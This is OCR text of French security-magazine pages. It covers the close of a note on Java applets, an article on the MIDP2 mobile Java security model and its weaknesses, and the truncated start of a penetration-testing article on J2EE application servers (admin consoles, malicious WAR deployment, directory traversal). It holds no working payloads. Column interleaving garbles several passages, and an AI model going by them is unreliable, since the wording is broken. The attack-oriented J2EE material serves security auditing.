C’est pourquoi il est souhaitable de désactiver Java dans son
navigateur ou au moins de contréler les exécutions d'applets de
maniére fine avec un greffon tel que NoScript. C'est notamment
le cas dans des environnements oil Java ne sera que rarement
mis a jour (Par exemple, un environnement entreprise ou sur
un systéme MacOS X). Si Java ne peut pas étre completement
désactivé, on peut imaginer utiliser un profil spécial, dans lequel
Java est activé pour naviguer sur des sites internes et de
confiance afin de réduire un peu les risques. 1
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ur les téléphones mobiles, le modele de sécurité de Java est modifié pour
S tenir compte des spécificités des applications mobiles. Ce modele presente
des caractéristiques intéressantes, mais il pose des problemes importants
aux utilisateurs et aux developpeurs.

1. La sécurité sur les mobiles

MIDP (Mobile Information Device Profile) est le téléphones mobiles, avec des taux de pénétration relati-
dialecte de Java le plus répandu sur les téléphones vement faibles pour chacun. Le systéme S40 de Nokia,
mobiles. C'est une version limitée du langage, et sur- équipant leurs téléphones de moyenne gamme, est le
tout de I'API, qui est disponible sur les mobiles les plus répandu, et il est présent sur 19% des téléphones.
plus simples jusqu'aux plus complexes. Un mobile Cette fragmentation rend difficile la propagation de
n'est pas un PC, et la problématique de sécurité y est virus et autres contenus malicieux, qui ne fonctionnent
aussi extrémement différente. Avant d’'entrer dans les souvent que sur un type précis de téléphone.

détails du modéle de sécurité de MIDP, commengons , AT . ! :
Ces trois caractéristiques suffisent a expliquer pour-

par mettre en évidence certaines de ces différences. : gty o 4 . ¢
quoi la sécurité des mobiles est un probleme spécifique.

~# L'opérateur. L'opérateur mobile est implique Intéressons-nous maintenant aux biens accessibles depuis un

dans la gestion du téléphone mobile. Il subven- mobile qui peuvent présenter un intérét pour un attaquant :

tionne son achat, il y appose souvent sa marque et . o : !
¥ AEP 1 —# 1’accés au réseau. Un téléphone mobile permet de télé-

il en controle au moins partiellement le contenu. = s e
phoner et d'échanger des SMS, méme surtaxes, meme a

Son role dépasse donc de trés loin le role d'un FAI o e . Wi e
I'étranger, et cette capacité peut etre utilisée par un atta-

dans la gestion d'un PC. Avec I'iPhone, Apple a i R
quant. En sortant légérement du champ de la sécurite,

légérement modifié le modéle, en prenant a son . i . g :
une application qui utilise le réseau de maniere inconsi-

compte certaines des prérogatives de l'opérateur, : ! : . _ _
dérée en condition de roaming, méme sans intention de

mais sans grand impact sur l'utilisateur. , _ v : e :
nuire, peut rapidement cotiter trés cher a I'abonne.

-8 Un systéme peu ouvert. La grande majorite . ; —
—# Les informations personnelles. Ce terme gene-

des mobiles ont un systéme fermé, dans lequel il , . : vl :
rique couvre des informations trés diverses, incluant en

est impossible de charger des programmes natifs. - ! S
3 e particulier un répertoire de contacts, un historique des
communications et, sur certains appareils, une possibilite

de localiser le mobile ou d'enregistrer les sons ambiants.

Cela complique les possibilités d’attaques, car
I'injection de code malicieux est rendu nettement

- . .
plus complexe On trouve aussi de plus en plus souvent sur les mobiles

—# Une fragmentation importante. Il existe un des informations professionnelles, parfois sensibles, et
grand nombre de systémes d’exploitation pour souvent mal protégées.
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—l Des contenus protégés. On trouve encore sur des télé-
phones mobiles des contenus protégés, allant des sonneries
a la musique et aux émissions de télévision. Ces contenus
sont souvent protégés par des mécanismes spécifiques.

Cette liste est relativement courte, ce qui est plutot une
bonne nouvelle, dans la mesure ot ces biens ne sont pas trés
faciles a abuser. Méme s'il est simple d'envoyer un SMS surtaxé
depuis un téléphone mobile, collecter I'argent ainsi récolté est
difficile, car ces numéros surtaxés sont gérés par les mémes
opérateurs mobiles, qui rechigneront a payer les sommes récla-
mées alors que leurs abonnes se plaignent d’abus. De par leur
connectivité limitée, les téléphones mobiles ne font pas non plus
de bons « zombies » a intégrer dans un botnet.

Par ailleurs, les informations personnelles et professionnelles
sont plutot intéressantes pour des attaques ciblées sur une per-
sonne ou un groupe de personnes. En dehors de la récolte d'infor-
mations sur des tiers (les contacts), ces informations sont difficiles
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a exploiter de maniére systématique. En dehors de la récolte
d'informations sur des tiers (les contacts), ces informations sont
difficiles a exploiter de maniére systématique. Par exemple, il est
facile de récolter les numéros de mobiles de tous les contacts d'une
victime, mais chaque envoi faisant I'objet d'une confirmation, il est
pratiquement impossible d'envoyer du « spam » SMS directement
depuis le mobile de la victime.

Quant aux contenus protégés, ils sont généralement dis-
ponibles par ailleurs sur Internet. L'intérét des opérateurs et
des ayant-droits est donc souvent de s'assurer que I'abonné n'a
acces quau contenu diioment payé, plus que d’en éviter la copie.

Bien entendu, ceci est un état de I'art mi-2009. Les techno-
logies mobiles évoluent rapidement, et les téléphones mobiles
sont de plus en plus de vrais ordinateurs. De méme, la valeur
des biens disponibles sur les mobiles pourrait augmenter rapide-
ment, avec 'apparition de smartphones toujours plus puissants,
et avec le déploiement de technologies comme NFC.

2. Le modele de sécurité de MIDP2

Le modéle de sécurité de MIDP2 est défini dans la spécification
elle-méme et complété par une annexe spécifique, destinée aux
implémentations sur téléphones mobiles GSM et 3G. De plus, le
modele est enrichi par les différentes extensions définies pour MIDP
au sein du Java Community Process (JCP). Ce modéle est assez
classique et nous allons simplement insister ici sur ses spécificités.

2.1 Les principes de base

Les applications MIDP sont distribuées dans des MIDlet
suites, qui contiennent une ou plusieurs applications (midlets).
Une MIDlet suite est considérée comme trusted quand elle a été
signée, et que l'appareil de destination contient les clés néces-
saires pour en verifier la signature. Dans les autres cas, et en
particulier quand I'application n'est pas signée, la MIDlet suite
est considérée comme untrusted.

Dans ce dernier cas, les applications n'ont accés par défaut
qu’a un ensemble limité de fonctions, comprenant principalement
les API de gestion de l'affichage, de stockage persistent local, et
I'utilisation de sons pré-enregistrés. De plus, aprés consulta-
tion de l'utilisateur, ces applications ont accés au réseau, exclu-
sivement avec les protocoles HTTP et HTTPS. Lobjectif de cet
ensemble de fonctions limité est de faciliter le développement de
jeux simples, qui peuvent étre déployés sans contraintes,

Pour accéder aux autres fonctions du téléphone, les appli-
cations doivent étre signées. Par exemple, une signature est
requise pour utiliser des SMS au sein d'une application. On
retrouve alors un systéme de gestion d'autorisations a base de
permissions qui est relativement classique. Les éléments de base
de ce systéme sont :

~#l |es permissions, quisont ici des identifiants définis par une
API ou une fonction, et utilisés pour interdire son utilisation sans
autorisation. Ce sont des permissions nommeées trés simples.
Par exemple, la permission javax.microedition.io.HttpConnection
permet d'accéder au réseau par le protocole HTTP.

—l Les domaines de protection, qui sont associés & un
signataire, et qui définissent chacun un ensemble de per-
missions accordées de maniére automatique (Allowed), ainsi
quun ensemble de permissions accordées en fonction du choix
de l'utilisateur (User). Dans ce dernier cas, les domaines de
protection peuvent raffiner le type d'interaction requis avec
l'utilisateur, avec trois choix possibles. Dans le mode blanket,
l'utilisateur n'est interroge qu'une fois pour la vie de I'applica-
tion (typiquement, a la premiére opération nécessitant la per-
mission). Dans le mode session, I'utilisateur doit confirmer son
autorisation a chaque fois que I'application est lancée. Enfin,
dans le mode oneshot, I'utilisateur doit confirmer son autori-
sation chaque fois que l'autorisation est requise.

Ensuite, les permissions disponibles varient selon les appa-
reils. Bien entendu, un appareil ne supporte que les permissions
correspondant a ses fonctionnalités. De plus, la configuration d'un
appareil inclut également un ensemble de domaines de protection.

Enfin, chaque MIDlet suite doit lister explicitement dans son
manifest les permissions dont ses applications ont besoin pour
fonctionner. Ces permissions sont partagées en deux catégo-
ries. Les permissions qui sont eritiques pour le fonctionnement
de I'application sont listees dans l'attribut Ml0let-Permissions ;
celles qui sont optionnelles ou non critiques (utilisées dans
des fonctions non indispensables de l'application) sont listées
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dans lattribut MID7et-Pernissions-0pt. Les applications sont egale-
ment signées, ce qui permet d'associer chaque application a un
domaine de protection.

Avec ces informations, complétées pendant I'exécution par
les réponses de l'utilisateur, le systeme est capable d'autoriser ou
non une opération demandée par une application. Cette décision
est prise en deux temps, lors de l'installation de l'application, et
pendant son exécution, quand une opération nécessite qu'une
permission spécifique soit accordée.

Pendant l'installation, 'application est rejetée uniquement
si elle requiert une permission critique qui n'est pas supportée
ou qui n'est pas incluse dans le domaine de permission de l'ap-
plication. Dans les autres cas, 'application est installée (méme
si une des permissions non critiques n'est pas supportée).

Pendant l'exécution, quand une méthode nécessitant une
permission s'exécute, le systeme doit tout d'abord vérifier que la
permission fait partie des permissions demandées par I'applica-
tion. Ensuite, la permission est accordée si elle est Allowed dans
le domaine de protection ou si elle est User dans le domaine de
protection et que l'utilisateur I'a explicitement accordée. Si néces-
saire, le systéme déclenche une interaction avec I'utilisateur, dont
la fréquence dépend du type d'interaction requis. Enfin, si la per-
mission ne peut pas étre accordée, la méthode qui a déclencheé
la demande de permission doit déclencher une Securitytxception.

Du point de vue du développeur, les contraintes posées a ce niveau
sont assez simples, et peuvent étre résumées en quelques régles :

-8 Toujours étre prét a recevoir une exception. Quand
une permission est requise par une application, il est tou-
jours conseillé de prendre en compte le déclenchement d'une
SecurityException, Cela permet d’éviter a un utilisateur distrait
qui a fait le mauvais choix dans un dialogue de voir I'appli-
cation se terminer abruptement.

—8 Faire trés attention avec les permissions optionnelles,
Ces permissions ne sont pas gérées de maniére standard.
En particulier, il est possible de démarrer une application
demandant une permission optionnelle qui n'est pas sup-
portée sur le mobile. Toute tentative d'utiliser la fonction
associée déclenchera une exception. De plus, les permissions
optionnelles sont toujours difficiles a gérer.

~# Nepasdemander de permissions dontonnesesertpas.
Cette derniére remarque parait évidente, mais il est assez
simple au cours d’'un développement de laisser « trainer »
une permission devenue inutile. Cela peut mener a un rejet
de I'application.

La plupart des applications MIDP sont destinées a des télé-
phones mobiles, et il faut done prendre en compte la politique
de sécurité spécifique qui a été développée pour les téléphones
GSM et 3G.
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2.2 La politique de sécurite

pour GSM et 3G

Le modéle de sécurité est raffiné dans la spécification par

une annexe non normative destinée aux téléphones mobiles, qui
a été trés largement adoptée par les opérateurs.

La politique commence par mieux définir les domaines de
protection. Chaque domaine de protection associe un certifi-
cat X.509 destiné a vérifier la signature de l'application et une
politique de sécurité. Les domaines de protection sont groupes
en quelques catégories.

Les domaines fabricant et opérateur sont des domaines pri-
vilégiés destinés respectivement aux applications signées par le
fabricant et l'opérateur. Dans ces deux domaines, la politique
de sécurité associée contient une liste de permissions Allowed,
incluant généralement toutes les permissions disponibles.

Les domaines des tiers identifiés servent a associer chaque
certificat « tiers » disponible & une liste de permissions. La poli-
tique de sécurité associée contient une liste de permissions User,
souvent assez large, mais qui nécessiteront une validation par
l'utilisateur avant d'étre effectivement attribuée.

Le domaine des tiers non identifiés regroupe les applications
non signées, qui n'ont accés qu'a un sous-ensemble limité de
fonctions (suffisantes pour bien des applications). La politique
de sécurité associée contient une liste de permissions User,
généralement plus restrictive que pour les tiers identifiés.

Les différences entre ces catégories sont significatives. D'un
coté, les applications associées 4 un domaine de protection opé-
rateur ou fabricant se voient attribuer toutes les permissions
possibles, sans aucune interaction avee I'utilisateur au niveau du
systéme. A I'opposé, les applications des tiers, identifiés ou non, sont
systématiquement soumises & des validations par les utilisateurs.
Les conséquences sur le développement sont importantes, avec des
avantages et des inconvénients des deux cotés. Les applications du
domaine opérateur n'auront pas a gérer des interruptions intem-
pestives par des messages systeme. Par contre, il est fortement
conseillé d'inclure des confirmations similaires, au sein méme
de I'application (d’autant plus que 'opérateur signataire verra sa
responsabilité engagée en cas de probléeme avec l'application). Les
applications des domaines tiers devront gérer des interruptions
parfois intempestives, mais elles n'auront par contre pas a inclure
de code spécifique dans l'application pour gérer ces permissions.

Prenons un exemple simple, avec une application qui doit
envoyer un SMS, incluant par exemple le code suivant :

MessageConnection conn =

(MessageConnection) Connector.open("sms://+33131313131");
TextMessage msg =

(TextMessage) conn.newMessage(MessageConnection. TEXT _MESSAGE);
msg.setAddress("sms://88B88" );
msg.setPayloadText("Bonjour MISC" );
conn.send(msg);




Pour exécuter ce code, il faut posséder la permission
Javax.wireless,messaging.sms.send, qui est souvent une des plus res-
trictives. Dans une application d'un domaine tiers, une confirma-
tion est requise a chaque utilisation, a l'exécution de la méthode
Messagelonnection.send(), Ce comportement est d'ailleurs assez aty-
pique, dans la mesure ou les vérifications sont souvent faites a
I'ouverture d'une connexion, lors de 'exécution de Connector.onen( ),
Ici, il vaut mieux attendre l'envoi, dans la mesure ot I'adresse de
destination peut étre changée, comme cela est fait ici (en passant
a un SMS surtaxeé). Lutilisateur aura donc 'occasion de se rendre
compte quun SMS surtaxe est sur le point d'étre envoyé, car le
message de confirmation doit contenir I'adresse d’'envoi.

A linverse, sur une application d'un domaine opérateur, aucune
confirmation n'est demandée a l'utilisateur. La politique de sécurite
stipule que l'application doit avertir I'utilisateur des coiits, mais
il n'y a ici aucune obligation. Ce systéeme permet une flexibilité
accrue ; il est par exemple possible d'avertir 'utilisateur du cofit
exact de l'envoi du SMS pour son opérateur (qui a signé I'applica-
tion), mais il faut alors faire confiance a 'application pour présenter
ces informations. Le modéle sous-jacent est celui d'un contrat entre
le développeur de l'application et l'opérateur téléphonique qui I'a
signee, afin d'établir une répartition précise des responsabilités.

Pour faciliter la tiche du développeur d’applications « tierces »,

la politique de sécurité MIDP définit assez précisément la maniére
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dont les interactions avec 'utilisateur sont organisées. En parti-
culier, il définit des groupes de permissions (Appel téléphonique,
acces réseau, messagerie, démarrage automatique, connectivité
locale, enregistrement multimédia, lecture de données utilisateur,
écriture de données utilisateur, localisation...).

Certains groupes de permissions (acceés réseau de bas niveau
(socket), messagerie limitée (cell broadcast), acceés a la carte
SIM) ne sont pas toujours disponibles aux applications tierces,
et encore moins aux applications non signées.

Ces groupes permettent de simplifier et de standardi-
ser les interactions avec l'utilisateur. Pour le développeur, ils
permettent de rendre prévisibles les interactions avec 'utili-
sateur. La politique de sécurité définit également la maniére
dont I'utilisateur peut modifier le comportement par défaut
de la plate-forme Java dans un domaine de protection donné.
Cela permet en particulier de diminuer le nombre d'interac-
tions requises pour des applications qui utilisent de nombreuses
permissions.

Enfin, cette politique de sécurité définit comment la carte
SIM doit étre utilisée pour vérifier des signatures d’applications,
ainsi que des procédures a appliquer en cas de changement de
SIM et en cas de roaming, afin de continuer a garantir la validité
des signatures des applications opérateur.

3. Quelques problemes dans le modéele

3.1 Un modele complexe et

difficile a comprendre

Ce modeéle de sécurité est intéressant sur le papier, mais il
péche en pratique par sa complexité. Dans certains cas, ce modele
de sécurité peut donner une fausse impression de sécurité aux
utilisateurs. Prenons comme exemple les avertissements concer-
nant I'envoi de SMS. Si vous utilisez une application qui n'est
pas signée, ou une application qui a été signée par un tiers de
confiance, vous avez la garantie de devoir confirmer tout envoi
de SMS. En revanche, si l'application a été signée par le fabricant
du téléphone ou par l'opérateur mobile, il n'y aura aucune confir-
mation. Du point de vue de l'utilisateur, la seule différence entre
ces deux applications est le nom du signataire, qui n'est affiché
qu'une fois, lors de lI'installation initiale de I'application.

Un autre probleme est lié a 'aspect interactif des requétes de
permissions. Du coup, les permissions sont demandées les unes
apres les autres, avec potentiellement des écarts importants.
On peut donc imaginer un jeu qui demande a son lancement
la permission d'accéder a Internet (pour récupérer un niveau),
et qui demande a la fin de la partie la permission d’accéder

aux contacts (juste apres avoir proposé d'envoyer votre score
a un ami). Un attaquant augmente ainsi considérablement ses
chances d'obtenir deux réponses positives

3.2 Un bac a sable dans le Sahara

Lenvironnement d'execution Java est généralement posé sur

un systéme d'exploitation. Ce systeme peut étre tres simple dans le
cas d’'appareils bas de gamme ou ce peut étre un systeme complet
pour un téléphone haut de gamme. Dans les deux cas, les risques
sont assez différents, méme s'ils peuvent parfois se recouper.

Dans un téléphone haut de gamme, le systéme d’exploitation
peut étre ouvert. Dans ce cas, les programmes Java et leurs don-
neées persistantes sont stockées dans le systeme de fichiers du
téléphone, qui n'est peut-étre pas bien protégé lui-méme. Deés lors,
un attaquant a acces au code et aux données de l'application, per-
mettant au moins de pratiquer un reverse engineering de I'appli-
cation, et donc d'en identifier les vulnérabilités essentielles. Ces
systéemes d’exploitation sont souvent assez simples, et possédent
de nombreuses failles, rendues dangereuses par le fait que la mise
a jour réguliére des systémes d'exploitation est une pratique peu
répandue sur les mobiles.
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Dans un téléphone bas de gamme, des attaques de bas niveau
restent possibles, car un tel téléphone embarque peu de mesures
de sécurité de bas niveau. Si la mémoire n'est pas chiffrée, un
attaquant peut en obtenir une image. Si son intégrité n'est pas
vérifiée, il est méme possible de modifier une application ou ses
données, voire I'environnement d'exécution Java (par exemple
pour inhiber la vérification des signatures d’applications).

En pratique, la plupart des attaques sur Java ont eté com-
mises par le biais du systéme sous-jacent, le plus souvent en abu-
sant du systéme de fichiers de Symbian. Dans le cas de systémes
mal sécurisés, le bac a sable de Java est simplement submerge
par les problemes de son environnement.

On arrive donc a la situation assez classique que les appa-
reils les plus simples sont aussi les plus difficiles a attaquer ; sur
des appareils fermés, MIDP est un moyen intéressant d'ouvrir
le téléphone en contrélant les risques associés. Il n'existe appa-
remment aujourd hui aucun virus bati uniquement sur MIDP.

3.3 Certification et

fragmentation

Nous avons vu que le modeéle de sécurité de MIDP2 repose sur
la signature des applications. Une signature est apposée sur une
application en conclusion d'un processus de certification, comme

le processus « Java Verified », défini par Sun et par un consor-
tinm composé des principaux fabricants et operateurs soutenant
MIDP (http://www.javaverified.com/).

Un des problemes notoires auxquels les développeurs doivent
faire face en MIDP est la fragmentation. Les différentes téléphones
incluant MIDP2 ont sélectionné des configurations différentes, uti-
lisent des écrans de tailles différentes, sont basés sur des versions
différentes de I'environnement... La portabilité des applications
n'est done souvent que relative, dans la mesure ou les applications
doivent étre adaptées aux divers modeles de teléphones. Souvent,
afin de limiter la taille de leurs applications, les développeurs four-
nissent des applications « localisées » a chaque pays. Pour une
application diffusée sur 50 modéles différents dans 20 pays, nous
obtenons ici 1000 binaires différents, qui devront tous étre signés.

Dans un tel seénario, si 'apposition d'une signature implique
un processus de certification, méme rapide, les cotits deviennent

4.1 MIDP 3.0

La version 3.0 de MIDP est actuellement en Proposed Final
Draft, derniére étape avant le vote final. Le modéle change peu
du point de vue des utilisateurs (les interactions sont quasi-
ment les mémes), mais les changements sont significatifs pour
les développeurs.
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4. Evolution et alternatives

rapidement exorbitants, en raison du volume de binaires a traiter
(100.000€ pour une application simple). La fragmentation a été
une source de problémes pour le programme de signature Java
Verified depuis sa création, et le consortium UTI qui le gere a pris
des initiatives spécifiques pour réduire la fragmentation. Ce sujet
fait en effet l'objet d'un guide de développement spécifique, des-
tiné a faciliter le portage des applications ; de plus, le consortium
a pris l'initiative de développer une bibliothéque open source de
tests d'interopérabilité des mobiles (JATAF, pour Java Application
Terminal Alignment Framework). Ces initiatives datent de 2009,
et il faudra un peu de temps pour évaluer leur impact.

3.4 Une signature,

ca garantit quoi ?

Le fait de reposer sur une signature électronique des applica-
tions peut également donner une fausse impression de sécurite sur
les applications. Le programme Symbian Signed, en charge de la cer-
tification des applications Symbian, a plusieurs fois signe des appli-
cations malveillantes, y compris trés récemment, en juillet 2009.

Cet incident a généré beaucoup de réactions sur Internet [SIGN .

Avec les outils disponibles aujourd’hui, il est quasiment
impossible d'empécher la signature occasionnelle d'un pro-
gramme Symbian malveillant. Cela arrive moins souvent aux
programmes MIDP, et la raison principale est que les API Java
ne permettent souvent pas d’'accéder au systéme sous-jacent de
maniére pratique pour réaliser des attaques facilement exploi-
tables. Mais, dans le principe, le risque est le méme : si une
action malveillante est possible en MIDP, elle peut étre signée.

En pratique, la signature permet principalement d’authenti-
fier 'auteur de 'application. Si c'est une société connue, le niveau
de confiance augmente, principalement car la responsabilite de
la société est engagée. Mais, dans le cas de sociétés inconnues,
la signature n'apporte pas grand-chose en termes de confiance.

De maniére intéressante, la spécification MIDP 2.1 permet
de vérifier qu'une signature n'a pas été révoquée avant de lancer
une application, ce qui permettrait d'éliminer des applications
malveillantes, méme aprés leur déploiement. Cependant, la
spécification utilise le mot « SHOULD » pour cette fonction, qui
n'est apparemment pas souvent supportée en pratique.

Le principal changement est I'adoption du modéle de Java
Se, avec plusieurs types de permission au niveau Java. Cela
permet de définir des permissions beaucoup plus précises.
Par exemple, on peut définir la permission suivante :

WIDlet-Permission-1: javax.microedition.io.HttpProtocolPermission
"http://www.vetilles.com/pub/*:*"




Cette permission permet de restreindre l'acces a un site ou
meéme a une partie d'un site. Cela permet de vérifier facilement
qu'une application n'utilise une certaine permission que d'une
maniére restreinte, ce qui peut faciliter le travail des évaluateurs.

Un autre changement important se situe au niveau de la
communication entre applications. MIDP 3.0 définit de nou-
veaux mecanismes de communication, ainsi qu'un moyen de ne
partager une ressource quavec des applications d'un vendeur
donné, signées par un certificat donné ou d'un domaine donné.

Les évolutions sont donc assez mineures, et elles ne remet-
tent pas en cause le modele existant, ou I'utilisateur peut étre
consulté au cours de I'exécution du programme.

4.2 Alternatives

Nous avons ici insisté sur les faiblesses du systéme de sécu-
rité de MIDPz2. 1l convient toutefois de rappeler que ce systéeme
est relativement ancien, et qu'il offre un compromis entre sécu-
rité et flexibilité qui n'a pas d’équivalent sur PC.

Dans le monde mobile, d'autres approches sont possibles, et
nous en considérons deux a titre de comparaison.

~# iPhone. La sécurité des applications iPhone est tres différente
de celle proposée par MIDP2, Tout d'abord, les applications

sont natives, ce qui augmente leur potentiel de nuisance.
Ensuite, I'utilisateur final n'est pas du tout impliqué, puisque
les interactions sont trés rares ; I'exception notable consiste
a faire confirmer par l'utilisateur le fait qu'une application
n'utilise pas de données de localisation. Par ailleurs, Apple
certifie les applications, mais le processus est opaque. Apple
controle également la distribution des applications, avec la
possibilité de les révoquer. Opacité et controle : on a peut-étre
du mal a apprécier, mais la méthode est efficace. Plus d'un
milliard de téléchargements plus tard, on attend encore le
premier scandale lié 4 une application malicieuse sur iPhone.

—# Android. Les applications Android utilisent une machine

virtuelle, dont les principes de base sont inspirés de Java
(avec en particulier la vérification du bytecode a l'installa-
tion). Ensuite, lapplication doit demander des permissions
que l'utilisateur doit approuver d'un bloc lors de I'installation
de I'application. Pendant I'exécution, plus d’interaction (mais
l'utilisateur peut accéder a la liste des permissions de chaque
application). En dehors de ca, Google semble avoir un proces-
sus de distribution plut6t transparent, mais Google conserve
malgré tout la mainmise sur la distribution. Nous manquons
cependant de recul pour savoir dans quelle mesure ils vont
utiliser ce pouvoir de controle.

Conclusion

Le modele de sécurité de MIDP est le plus ancien encore en
vigueur aujourd hui. Il souffre d'une certaine incohérence, en
particulier entre les applications des opérateurs et les applications
tierces. Toutefois, ce n'est sans doute pas la sécurité qui a empéché
la diffusion des applications, mais plutot la fragmentation des
implémentations et les modes de distribution des applications.

Ma préférence personnelle va au compromis choisi par
Android, car il permet a I'utilisateur averti de prendre une déci-
sion en connaissance de cause avant d'installer I'application,

sans pour autant géner l'utilisateur de base, qui ignore de toute
maniere tout avertissement de sécurité.

Enfin, tous ces modeéles de sécurité se concentrent sur la
protection de I'utilisateur contre des applications malveillantes,
mais ils ne donnent aucune directive concernant la protection
des biens de ces applications. Le principal danger des applica-
tions mobiles ne vient donc probablement pas aujourd'hui des
dégits qu'elles peuvent provoquer, mais du manque de protec-
tion des biens de plus en plus sensibles qu'elles renferment.

A propos de 'auteur

Eric Vétillard est venu tardivement a la sécurité, en développant des machines virtuelles Java sur des cartes a puce. Il s'intéresse
particuliérement a la sécurité du code mobile et aux maniéres de certifier du code. Il est responsable technique du Java Card Forum, et
directeur technique de Trusted Labs. Retrouvez-le sur son blog & http://javacard.vetilles.com.

[MIDP 2.1] JSR-118 Expert Group, Mobile
Information Device Profile Specification,
Release 2,1, disponible a http://www.
jep.org/en/jsr/summary?id=118.

[MIDP 3.0} JSR-271 Expert Group, Mobile Information Device Profile Specification,
Release 3.0, disponible a http://www.jep.org/en/jsr/detail?id=271.

[SIGN] VETILLARD (Eric), « Should we sign malware ? », juillet 2009, disponible a
http://javacard.vetilles.com/2009/07/22/should-we-sign-malware/.
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& VULNERABILITES
0. LIEES AUX SERVEURS
D’APPLICATIONS

J2EE

mofts-cles : J2EE / Web Application Server / vulnérabilités / intrusion

es tests d’intrusion sur applications Web nous amenent régulierement
L a rencontrer les plateformes J2EE qui les hébergent. Dans certaines
conditions, ces serveurs dapplications peuvent étre tres intéressants pour
un attaquant. Nous verrons pourquoi a travers cet article.

1. Panorama des serveurs d’applications J2EE

Tout d'abord, présentons ce quest un serveur |

dapplications. Sans trop entrer dans les détails, il

s'agit d'un environnement constitué d'un ensemble
de composants répartis en plusieurs couches :
preésentation/métier/données. L'intéret est de
déployer de maniere « relativement » souple des

applications Web fondées sur les technologies J2EE.
Les technologies Web utilisées dans le cas des WAS
(Web Application Server) seront — selon le besoin
— JSP (code source interprété par le serveur) ou des
Servlets (code précompilé qui sera chargé une seule s L S
fois par le serveur).

La couche presentation est en général composée
d'un serveur HTTP (Apache ou dérivé) et d'un conte-
neur souvent a base de Tomcat pour gérer les Servlets
et le code JSP. Du coté métier, ou application, nous
retrouvons l'ensemble des API J2EE, les EJB. 1l est
ainsi possible de mettre en place tous les connec-
teurs souhaités : bienvenue dans le monde SOA
(ou Service-Oriented Architecture). Coté données,

nous entendons principalement des bases de données, Fig. 1 : Principales brigues dun serveur
dapplications J2EE

un annuaire ou d’autres sources d'information.
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1.1 Les différences entre

chaque produit

Il existe plusieurs WAS J2EE sur le marché. Outre les dif-

ferences marketing et de fonctionnalités (ex : répartition de
charge), les serveurs sont assez similaires dans leur fonction-
nement, ainsi que sur les composants utilisés. Les principaux
produits déployés aujourd hui sont :

—l JBoss (RedHat) et JOnAS (Wo2 Consortium) du coté libre ;

~ WebSphere (IBM) ainsi que WebLogic (Oracle, ancienne-
ment BEA) pour les produits propriétaires ;

~# d'autres solutions plus obscures telles que 'OVNI Oracle
Application Server [SERVEURS],.

Les outils d'administration, d'exploitation et de déploiement
d’applications sont relativement différents en fonction de chaque
WAS. JOnAS et WebLogic sont équipés d'une console d’admi-
nistration trés similaire sous forme d’applet Java qui permet-
tra de tout gérer. C'est approximativement la méme chose pour
WebSphere avec une console quasi identique dans son agence-
ment. JBoss, quant a lui, est équipe de deux ou trois consoles
(selon la version) : nous y reviendrons plus tard.

—

¢ - . *." '::"' (] Mrips (foetaphere w1 D04 s cimcber log in do P ac tion = s ute
L) SUSE Linua | | PHP Charet Encoder
|| inegrated Sclutions Consok &3 | hiips reebsphe test G043

Integrated Solutions Consold Welcoms virtuser

I :'II.J:!.I.

3 ._:?i!l :

J2EE, tels que JBoss, embarquent leur propre conteneur
qui est la plupart du temps a base de Tomcat. Dans ce cas, la
console d’administration de Tomcat n'est normalement pas
installée. Nous pouvons aussi constater des cas ou la console
d’administration de Tomcat est bien disponible, ex : certaines
versions de JOnAS.

1.2 Contextes d’attaques

Nous ne nous attarderons pas sur les failles liées aux appli-
cations Web (méme si, dans beaucoup de cas, elles représen-
tent un vecteur d’attaque important), mais sur celles concernant
les serveurs d'applications eux-mémes qui sont trop souvent
installés par défaut (ou presque). Les vulnérabilités décrites
reposent sur nos expériences personnelles et des présentations
qui ont déja eu lieu et que nous mettrons en pratique. Hormis
précision dans le texte, il s'agit toujours d'attaques réalisables
depuis Internet.

1.3 Le déploiement

d’une application

Il est nécessaire de bien comprendre comment sont

déployées les applications sur les
serveurs, et comment celles-ci
sont packagées. En effet, un atta-
quant aura pour objectif principal
de déployer une application mali-
cieuse afin de prendre la main

Wiew: | Al tasis -]

p greeal

Preparing for the spplicstion inslaltion

Path to the new application

# Local file system
Full path

] Saraces ™ Remote file system
[E Remuaces
) Securiy

[ Enarrrren
B St adriusraton Nexd | Cancel |

B I by e i

Fig. 2 : Déplaiement dune nouvelle application via la console d administration de

WebSphere

Parmi les différences notables qui auront un impact

pour un attaquant, évoquons la présence ou non de Tomeat.
La plupart des WAS embarquent cette solution en tant que
conteneur Servlet/JSP ; ce n'est pas le cas de WebSphere. Un
certain nombre de failles ou fonctionnalités inhérentes & Tomcat
peuvent étre exploitées par un attaquant. C'est pour cette raison
que sa présence ou son absence aura une incidence significative.
I1 est nécessaire de préciser qu'un certain nombre de serveurs

Specity the EAR, WAR, JAR, or SAR module 1o upioad and install

pmerviruserDesklop/esec war  Browse |
[P — |

sur le systeme. Tvpiquement, une
application est packagée dans une
Web Archive (fichier *.WAR). Il s’agit
d'un fichier jar (en gros un zip)
contenant l'ensemble des pages JSP
et/ou Servlet ainsi que les fichiers
de configuration nécessaires au
déploiement de I'application sur le
serveur. Larborescence minimale
est la suivante :

-~ META-INF/ - contient les en-tétes
déclarant qu'il sagit d’'une Java
Archive ;

-

— WEB-INF/ - contient le fichier de
« configuration » web.xml ;

- HEB-INF/classes/ - contient les classes des servlets.

L'idee est donc de préparer une application malicieuse
qui sera préte a étre déployée. Plusieurs exemples sont
disponibles sur la toile, notamment le projet MACARON
| MACARON | comme nous I'a montré Philippe Prados durant le
dernier SSTIC.
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2. Les vulnérabilités

Vulnérabilités li¢es aux serveurs d'apphcations J2EE

2.1 Alarecherche de la

console d’administration

Lors d'un audit d’application Web, en dehors des tests sur

les failles propres a ces applications, il est toujours intéressant
de chercher les consoles d’administration. Il n'existe pas une
maniére en particulier pour trouver comment accéder aux
consoles d'administration. Par conséquent, plusieurs méthodes
se doivent d’étre testées. Avant cela, il est nécessaire de préci-

—

S€T que Ces consoles

Cela est réalisable en ajoutant les bonnes directives au
« contexte » de l'application ; se reporter aux références
pour plus d'information, notamment le guide Securing JBoss
[SECJBOSS] qui explique clairement cette problématique.

L"l'-‘l—

Les vulnérabilites de type

directory traversal

D’autres méthodes pour accéder aux consoles dadministra-
tion consistent a exploiter des vulnérabilités de type « directory
traversal ». Celles-ci sont

Sﬂnt aUSSI des appll- "'F' - £ l!{_" I--l-II = e care PRS0 me-cormoleStrikdaglon Tk ton=napec EMBedndndmesjlions particu:[ iérement illté].'ES'
- Back B Egms
cations : elles sont 4 L BT A W Do e ST s T doa: santes dans la mesure ou
donc potentiellement R elles permettent de sortir
vulnérables a des = JBOSS  IMX MBean View du contexte de I'applica-
failles applicatives, e tion et ainsi d’accéder a
